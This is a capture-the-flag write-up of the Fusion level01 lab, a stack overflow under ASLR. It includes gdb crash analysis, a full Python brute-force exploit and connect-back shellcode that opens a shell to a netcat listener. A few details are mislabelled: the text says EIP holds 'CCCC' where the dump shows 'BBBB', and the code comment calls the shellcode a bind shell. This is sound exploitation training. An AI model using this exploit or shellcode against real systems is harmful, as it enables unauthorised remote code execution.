Introduction
Fusion exploits are a cool bunch of ctf type challenges that focus on Linux binary exploits that progressively get harder. An ISO containing the OS and challenges can be downloaded from the main site.
The website with all challenge information and downloads is at https://exploit-exercises.com/fusion/
Fusion is the next step from the protostar setup, and covers more advanced styles of exploitation, and covers a variety of anti-exploitation mechanisms such as:
Address Space Layout Randomisation
Position Independent Executables
Non-executable Memory
Source Code Fortification (_DFORTIFY_SOURCE=)
Stack Smashing Protection (ProPolice / SSP)
In addition to the above, there are a variety of other challenges and things to explore, such as:
- Cryptographic issues
- Timing attacks
- Variety of network protocols (such as Protocol Buffers and Sun RPC)
Challenge
Test run
Level01 is essentially the same code from Level00 except ASLR has been used. Most of the information gained from the previous challenge (level00) will be used here.
Level 01 is a network daemon that listens on port 20001. The iso image automatically starts the daemon for us. If we list the running processes we should see it.
fusion@fusion:~$ ps axu|grep level01 20001 1412 0.0 0.0 1816 52 ? Ss Sep21 0:00 /opt/fusion/bin/level01 ... fusion@fusion:~$ sudo netstat -nap|grep level01 [sudo] password for fusion: tcp 0 0 0.0.0.0:20001 0.0.0.0:* LISTEN 1412/level01 fusion@fusion:~$ perl -e 'print "GET / HTTP/1.1"'| nc localhost 20001 trying to access /
Sending the the string “GET / HTTP/1.1” successfully invokes the vulnerable fix_path() call, as did level00’s binary.
Let’s check how core dumps are configured.
fusion@fusion:~$ ulimit -a core file size (blocks, -c) 0 data seg size (kbytes, -d) unlimited scheduling priority (-e) 0 file size (blocks, -f) unlimited pending signals (-i) 31627 max locked memory (kbytes, -l) 64 max memory size (kbytes, -m) unlimited open files (-n) 1024 pipe size (512 bytes, -p) 8 POSIX message queues (bytes, -q) 819200 real-time priority (-r) 0 stack size (kbytes, -s) 8192 cpu time (seconds, -t) unlimited max user processes (-u) 31627 virtual memory (kbytes, -v) unlimited file locks (-x) unlimited fusion@fusion:~$ cat /proc/sys/kernel/core_pattern |/usr/share/apport/apport %p %s %c
Appears core dumps have not been enabled.
Let’s enable them.
fusion@fusion:~$ su -c 'ulimit -c unlimited' root Password: fusion@fusion:~$ ulimit -a core file size (blocks, -c) unlimited data seg size (kbytes, -d) unlimited scheduling priority (-e) 0 file size (blocks, -f) unlimited pending signals (-i) 31627 max locked memory (kbytes, -l) 64 max memory size (kbytes, -m) unlimited open files (-n) 1024 pipe size (512 bytes, -p) 8 POSIX message queues (bytes, -q) 819200 real-time priority (-r) 0 stack size (kbytes, -s) 8192 cpu time (seconds, -t) unlimited max user processes (-u) 31627 virtual memory (kbytes, -v) unlimited file locks (-x) unlimited fusion@fusion:~$ su -c 'echo "/tmp/cores/core.%e.%p.%h.%t" > /proc/sys/kernel/core_pattern' Password: fusion@fusion:~$ cat /proc/sys/kernel/core_pattern /tmp/cores/core.%e.%p.%h.%t
Good so far.
ASLR (Address space layout randomization)
A neat little script called checksec.sh written by Tobias Klein will run readelf on a given binary/process and inform you if any protection mechanism are present. checksec.sh can be download from trapkit
fusion@fusion:~$ sh ./checksec.sh --file /opt/fusion/bin/level01 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH /opt/fusion/bin/level01
No obvious security has been implemented on the level01 binary.
Let’s check if the kernel has aslr enabled
fusion@fusion:~$ cat /proc/sys/kernel/randomize_va_space 2
2 would indicate aslr is enabled in the kernel but the binary would still need to be compiled for aslr for it work.
A simple test would be to see the running binary’s memory maps and then compare the addresses after the binary has been restarted.
fusion@fusion:~$ sudo cat /proc/1412/maps
08048000-0804b000 r-xp 00000000 07:00 75282 /opt/fusion/bin/level01
0804b000-0804c000 rwxp 00002000 07:00 75282 /opt/fusion/bin/level01
b770d000-b770e000 rwxp 00000000 00:00 0
b770e000-b7884000 r-xp 00000000 07:00 92669 /lib/i386-linux-gnu/libc-2.13.so
b7884000-b7886000 r-xp 00176000 07:00 92669 /lib/i386-linux-gnu/libc-2.13.so
b7886000-b7887000 rwxp 00178000 07:00 92669 /lib/i386-linux-gnu/libc-2.13.so
b7887000-b788a000 rwxp 00000000 00:00 0
b7894000-b7896000 rwxp 00000000 00:00 0
b7896000-b7897000 r-xp 00000000 00:00 0 [vdso]
b7897000-b78b5000 r-xp 00000000 07:00 92553 /lib/i386-linux-gnu/ld-2.13.so
b78b5000-b78b6000 r-xp 0001d000 07:00 92553 /lib/i386-linux-gnu/ld-2.13.so
b78b6000-b78b7000 rwxp 0001e000 07:00 92553 /lib/i386-linux-gnu/ld-2.13.so
bf9a7000-bf9c8000 rwxp 00000000 00:00 0 [stack]
Let’s see the memory maps after the restart
fusion@fusion:~$ sudo cat /proc/13004/maps
08048000-0804b000 r-xp 00000000 07:00 75282 /opt/fusion/bin/level01
0804b000-0804c000 rwxp 00002000 07:00 75282 /opt/fusion/bin/level01
b765a000-b765b000 rwxp 00000000 00:00 0
b765b000-b77d1000 r-xp 00000000 07:00 92669 /lib/i386-linux-gnu/libc-2.13.so
b77d1000-b77d3000 r-xp 00176000 07:00 92669 /lib/i386-linux-gnu/libc-2.13.so
b77d3000-b77d4000 rwxp 00178000 07:00 92669 /lib/i386-linux-gnu/libc-2.13.so
b77d4000-b77d7000 rwxp 00000000 00:00 0
b77e1000-b77e3000 rwxp 00000000 00:00 0
b77e3000-b77e4000 r-xp 00000000 00:00 0 [vdso]
b77e4000-b7802000 r-xp 00000000 07:00 92553 /lib/i386-linux-gnu/ld-2.13.so
b7802000-b7803000 r-xp 0001d000 07:00 92553 /lib/i386-linux-gnu/ld-2.13.so
b7803000-b7804000 rwxp 0001e000 07:00 92553 /lib/i386-linux-gnu/ld-2.13.so
bfcdc000-bfcfd000 rwxp 00000000 00:00 0 [stack]
Yep, definite address change except in the main .text section (0x08048000).
Tip: Full binary protection is implemented when compiled as ‘PIE’ (Poisition Independent Executable).
Also, when developing exploits in gdb, gdb disables aslr, so to reenable aslr use
gdb-peda$ set disable-randomization off gdb-peda$ start
Exploit
We know from level00 that we can overwrite EIP with our payload but our strategy of directing code execution to continue from an address on the stack where the rest of our payload was located cannot be done in this challenge because of ASLR changing the memory location of the stack and our payload. We will have to deploy something like rop gadgets, which I have previously covered in protostar challenge stack6 (so I thought).
We will take and build on the exploit payload from level00 here:
“A”x139 fills the buffer
“BBBB” overwrite EIP
“C” shellcode location
fusion@fusion:~$ perl -e 'print "GET /" ."A"x139 . "BBBB HTTP/1.1" . "C"x80'| nc localhost 20001
fusion@fusion:~$ sudo chmod o+r /tmp/cores/*
fusion@fusion:~$ gdb --core /tmp/cores/core.level01.938.fusion.1443316558 /opt/fusion/bin/level01 -q
Reading symbols from /opt/fusion/bin/level01...done.
[New LWP 938]
warning: Can't read pathname for load map: Input/output error.
Core was generated by `/opt/fusion/bin/level01'.
Program terminated with signal 11, Segmentation fault.
#0 0x42424242 in ?? ()(gdb) i r
eax 0x1 1
ecx 0xb765a8d0 -1218074416
edx 0xbfcfaf60 -1076908192
ebx 0xb77d2ff4 -1216532492
esp 0xbfcfaf60 0xbfcfaf60
ebp 0x41414141 0x41414141
esi 0xbfcfb015 -1076908011
edi 0x8049ed1 134520529
eip 0x42424242 0x42424242
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
EIP contains the “CCCC” from our payload.
Our challenge is to reach our shellcode in a memory location independent way, because ASLR will change the shellcode’s location.
Our first step will be to look for a memory location candidate that we can replace “CCCC” with, and won’t be affected by ASLR. Remember our memory map showed that the ,text region didn’t change. So that will be where we look for rop gadgets.
Well we know that esp must have been pointing at our shellcode in order for it to have taken the “CCCC” and overwritten EIP.
If we can find a rop gadget that can ‘jmp esp’ that would be great. I tried this and nothing turn up. Not surprising given the small size of binary.
Wait a minute, we might be over thinking this one. You may have noticed that the binary forks new client socket connections and if the client process crashes, the main process continues to run.
Brute force
Theoretically we should be able to write an exploit to brute force all possible memory locations to our shellcode. This is not very elegant but let’s hack something together and see what happens.
Let’s first start our listening socket on port ‘11111’ in case our shellcode runs.
fusion@fusion:~$ nc -vvvvl 11111
exploit script can be download from here
""" This code is for fusion level01 challange. Not complete yet. """ import socket import sys import re import struct from string import Template def get_socket(): try: #create an AF_INET, STREAM socket (TCP) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(10) except socket.error, msg: print 'Failed to create socket. Error code: ' + str(msg[0]) + ' , Error message : ' + msg[1] sys.exit() print 'Socket Created' try: remote_ip = socket.gethostbyname( host ) except socket.gaierror: #could not resolve print 'Hostname could not be resolved. Exiting' sys.exit() print 'Ip address of ' + host + ' is ' + remote_ip #Connect to remote server s.connect((remote_ip, int(port))) return s host = sys.argv[1] port = sys.argv[2] try: EIP_byte1 = "\xbf\x00\x00\x00" #EIP_byte1 = "\xbf\x42\x42\x42" EIP_guess = "\x42\x42\x42" #network bind shell listen 0.0.0.0 11111 shellcode = "\x31\xdb\xf7\xe3\xb0\x66\x43\x52"\ "\x53\x6a\x02\x89\xe1\xcd\x80\x59"\ "\x93\xb0\x3f\xcd\x80\x49\x79\xf9"\ "\xb0\x66\x68\x7f\x01\x01\x01\x66"\ "\x68\x2b\x67\x66\x6a\x02\x89\xe1"\ "\x6a\x10\x51\x53\x89\xe1\xcd\x80"\ "\xb0\x0b\x52\x68\x2f\x2f\x73\x68"\ "\x68\x2f\x62\x69\x6e\x89\xe3\x31"\ "\xc9\xcd\x80" overflow = "A"*139 nops = "\x90"*128 command = "GET /$overflow$EIP_guess HTTP/1.1i$nops$shellcode" payload_template = Template(command) required_size = 128 for i in xrange(0,16777216,128): s = get_socket() EIP_guess = hex(i)[2:].zfill(8) print EIP_guess EIP_guess = struct.pack('L', int(EIP_byte1.encode('hex'),16)+i) print EIP_guess.encode('hex') payload = payload_template.safe_substitute(EIP_guess=EIP_guess,nops=nops,overflow=overflow,shellcode=shellcode) print "Payloads size %s" %len(payload) #print payload s.sendall(payload) recv = s.recv(8086) #print recv s.close() except socket.error, e: #Send failed print 'Send failed. %s' % e sys.exit() print 'Done.'
Essentially the script starts with EIP at ‘\xbf000000’ and runs a loop incrementing the value of EIP. My first attempt I was incrementing in 1’s and then it occurred that by placing nops in front of the shellcode I would be able to use the size of the nop sled as a safe incremental. e.g nop size of 4 means I can afford to miss the shellcode within bytes of space.
In this script I placed a nop sled of 128 bytes and the wait was acceptable.
Let’s see it run.
fusion@fusion:~$ python fusion-level01.py localhost 20001 Socket Created Ip address of localhost is 127.0.0.1 00000000 000000bf Payloads size 353 Socket Created Ip address of localhost is 127.0.0.1 00000080 800000bf Payloads size 353 Socket Created Ip address of localhost is 127.0.0.1 00000100 000100bf ...
After two minutes …
fusion@fusion:~$ nc -vvvvl 11111 Connection from 127.0.0.1 port 11111 [tcp/*] accepted id uid=20001 gid=20001 groups=20001
The script could be improved but I think the next few challenges will need a little more time to work on.
Thank you